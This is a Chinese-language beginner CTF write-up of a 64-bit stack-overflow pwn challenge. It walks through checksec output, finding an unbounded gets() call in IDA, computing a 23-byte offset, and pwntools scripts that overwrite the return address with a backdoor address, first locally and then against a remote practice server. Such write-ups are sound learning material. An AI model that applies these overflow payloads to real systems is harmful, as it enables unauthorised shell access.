ScreenShot_2026-03-14_182910_657.png

今天用ai简单做一题pwn,熟悉一下基本流程。(我自己是做不出来的,思路都是ai给的)

第一次做题的了解一下

pwn就是二进制漏洞,所以利用溢出getshell就是解题的目的
只要一个文件存在二进制漏洞,通过发送精心构造的payload,就可以getshell

回到题目:
图片给到了一个文件,还有一个靶机,实际上就是告诉你这个文件存在二进制漏洞,需要你在本地通过IDA,Die等工具找出漏洞所在,再构造一个恶意的payload进行攻击。

首先:
检查程序保护:
把该文件放到Linux环境,cd到文件所在目录,用命令

checksec ./pwn1

ScreenShot_2026-03-14_191333_034.png
我都解释一下:


    Arch:       amd64-64-little           //64 位小端架构,常规 x86_64 程序
    RELRO:      Partial RELRO             //部分重定位只读,GOT 表可写,容易进行 GOT 劫持
    Stack:      No canary found           //栈溢出时无需绕过 canary,直接覆盖返回地址即可
    NX:         NX unknown - GNU_STACK missing  //栈执行权限未明确标记,栈上代码可直接执行
    PIE:        No PIE (0x400000)         //无地址随机化,程序基地址固定为 0x400000,所有函数地址固定
    Stack:      Executable                //栈段可执行,可以直接在栈上部署 shellcode 并执行
    RWX:        Has RWX segments          //存在可读可写可执行段,内存保护极弱,可直接写入并执行代码
    Stripped:   No                        //未脱符号,函数名、变量名等调试信息完整,方便逆向分析

    后面我再说是利用了哪个

接下来用die确认该文件是64位还是32位
请输入图片描述
确定是64位之后,打开对应的64位的IDA(一个反汇编工具,Die和IDA我都是安装在我的windows物理机)
ScreenShot_2026-03-14_193345_244.png
按照习惯就是shift+f12先查看字符串,看看有没有什么提示
ScreenShot_2026-03-14_193532_675.png
看到有字符串"please input",这里是程序输入的地方,双击进去看看
ScreenShot_2026-03-14_193743_845.png
在双击右边的函数,进入对应的函数
ScreenShot_2026-03-14_193850_731.png
汇编代码看不懂,直接f5转化成伪代码(就是c语言代码)
ScreenShot_2026-03-14_194043_465.png
咱们做pwn还是得有一点c语言和简单汇编基础的哈,代码中gets函数就是输入,输入没有限制输入字符串大小,就是溢出点。

[rbp-Fh]:表示变量 s 距离 rbp 栈底的偏移是 0xF(15 字节)
64 位程序中,rbp 本身占 8 字节,返回地址 rip 紧跟在 rbp 之后
我手绘一个结构图:
rip       <————返回地址(高地址)
rbp       <————rbp寄存器本身的地址(占8字节)
...
...
...
[rbp-Fh]  <————rbp地址往下15字节

至于为什么不仅仅要输入15个字符,还要输入rbp,是因为栈本身的结构,这里不展开叙述。
所以说总共需要输入15+8=23个垃圾字符才能到达返回地址的起始位置。
所以用python写exp:

from pwn import *

elf_path = "./pwn1"
offset = 23
back_door = 0x40118A

p = process(elf_path)

payload = b'A' * offset + p64(back_door)

p.sendlineafter(b"please input", payload)

p.interactive()

本地执行成功得到交互界面之后再改成远程的exp

from pwn import *

elf_path = "./pwn1"
offset = 23
back_door = 0x40118A

#p = process(elf_path)
p = remote('node5.buuoj.cn','26289')     //这里填你靶机的域名+端口

payload = b'A' * offset + p64(back_door)

p.sendline(payload)

p.interactive()

执行

python3 exp2.py

ScreenShot_2026-03-14_210820_306.png
成功getshell,再cat flag 得到答案。